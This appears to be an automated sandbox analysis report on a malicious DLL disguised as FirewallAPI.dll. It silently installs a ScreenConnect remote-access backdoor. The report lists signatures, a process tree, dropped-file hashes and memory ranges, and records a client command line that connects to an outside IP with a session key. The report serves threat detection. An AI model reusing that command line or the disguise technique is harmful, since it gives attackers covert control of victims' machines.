Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 18:27

General

  • Target
    Account_Transcript/FirewallAPI.dll
  • Size 12.9MB
  • Sample260930-w32e5aydjf
  • SHA256 39923ed0e95cd4912c76466a90fcba015752fec7ae5811831acf8cdb1afcf884
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\Account_Transcript\FirewallAPI.dll,#1
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4232
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5516
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A090724FB8FE868ABFFC406700611F08 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2336
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7F72.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240813000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3568
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1780
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 07DCCD38B36878C93A3FCB810313D5D2
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3120
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1D9EDD01E82EC9262CD76210B931B7DA E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4720
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3740
    • C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=135.136.133.76&p=8041&s=4dac508c-a265-4d04-8c6f-9da1a54d2af7&k=BgIAAACkAABSU0ExAAgAAAEAAQCdC%2fFjIuvL3%2fAE5jSm8yLzPaeSkUkW9yoxkiNudx0jg1l7roFp4frIlkhplHaifYHUDyUYl0lRee%2bhB4Qu1Tl%2bAm%2fAG57hE9%2fBdAynrCsjO4ay4a4Oq6kvs%2b%2bQYLWQVGPqvH%2bn%2bFRxsVH4h9ujY27DTBmwfU6rd2St5VuQ96bjbFtEv34Tmiy30Rylcy3VfB56MrB43vUl1DgBYtFkIYIlKkUsbM1Mkogk4lSqQKTHEjVElhdZGQrh2uPC%2bn6BObK34z3UDfosMX%2fBGOQVhxMEbkSkINVwbATD5jow9wrfb8JSWsw%2f9t4u82Uq%2fhkncFJ9CkuHeUvWA0WeeBPqFVna&t=Link"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1680
      • C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe" "RunRole" "3251725b-7734-40ab-9552-4ec524ef288e" "User"
        2⤵
        • Executes dropped EXE
        PID:1640
      • C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe" "RunRole" "dfe0debe-2a62-4347-8719-40e6d3701042" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3200

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5af232.rbs

          • Path C:\Config.Msi\e5af232.rbs
          • Size 214KB
          • SHA256 6c54368ee737e7e82ad9ba5220b8734180bb113cc89783c348062eace0272449
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.Override.resources
          • Size 43KB
          • SHA256 a6dfe06f5e03fc07ab138db534f0f257c0b16a9e7e45db1553116769a1d6e520
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\app.config
          • Size 963B
          • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\system.config
          • Size 948B
          • SHA256 724f8dcce0f0b1bd290187fe7a34dba44f7ec7578d123409d3e07d5267d7e8e2
          • MD5 SHA1 SHA512 TLSH

          MSI7F72.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7F72.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7F72.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7F72.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7F72.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7F72.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
          • Size 12.9MB
          • SHA256 4435ae67053e3aaa89bf6a1829b5ffa0847aae30a23274a22fd9da45898eceaa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIFADD.tmp

          • Path C:\Windows\Installer\MSIFADD.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 ddbbb00bcf60780982200e7509d85f2d3466ba7fb0b672df53ad0500308551a1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {3d722edb-bb4d-46a9-b9e5-76221135da5c}_OnDiskSnapshotProp

          • Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{3d722edb-bb4d-46a9-b9e5-76221135da5c}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 786b1a5239d2cc8036dfbc3d79fb6f17a9689d7de77b2d3c984645f107749dc6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1640-128-0x000000001BB50000-0x000000001BCD8000-memory.dmp

          memory/1640-125-0x000000001B1F0000-0x000000001B226000-memory.dmp

          memory/1640-131-0x000000001B270000-0x000000001B2B1000-memory.dmp

          memory/1640-130-0x000000001B250000-0x000000001B268000-memory.dmp

          memory/1640-129-0x00000000027C0000-0x00000000027D8000-memory.dmp

          memory/1640-127-0x000000001B810000-0x000000001B9BC000-memory.dmp

          memory/1640-126-0x000000001B5D0000-0x000000001B65C000-memory.dmp

          memory/1640-124-0x00000000005F0000-0x0000000000688000-memory.dmp

          memory/1680-114-0x0000000004250000-0x0000000004325000-memory.dmp

          memory/1680-112-0x0000000003DD0000-0x0000000003E11000-memory.dmp

          memory/1680-105-0x0000000003D40000-0x0000000003D90000-memory.dmp

          memory/1680-110-0x0000000004060000-0x00000000040F2000-memory.dmp

          memory/1680-109-0x0000000003D90000-0x0000000003DC6000-memory.dmp

          memory/1680-83-0x0000000003AF0000-0x0000000003B08000-memory.dmp

          memory/3568-26-0x00000000032D0000-0x00000000032FE000-memory.dmp

          memory/3568-30-0x0000000003310000-0x000000000331A000-memory.dmp

          memory/3568-39-0x0000000005DB0000-0x000000000636A000-memory.dmp

          memory/3568-34-0x0000000005400000-0x000000000548C000-memory.dmp

          memory/3568-38-0x0000000005640000-0x00000000057EC000-memory.dmp

          memory/4232-7-0x00007FFAEF170000-0x00007FFAEFE67000-memory.dmp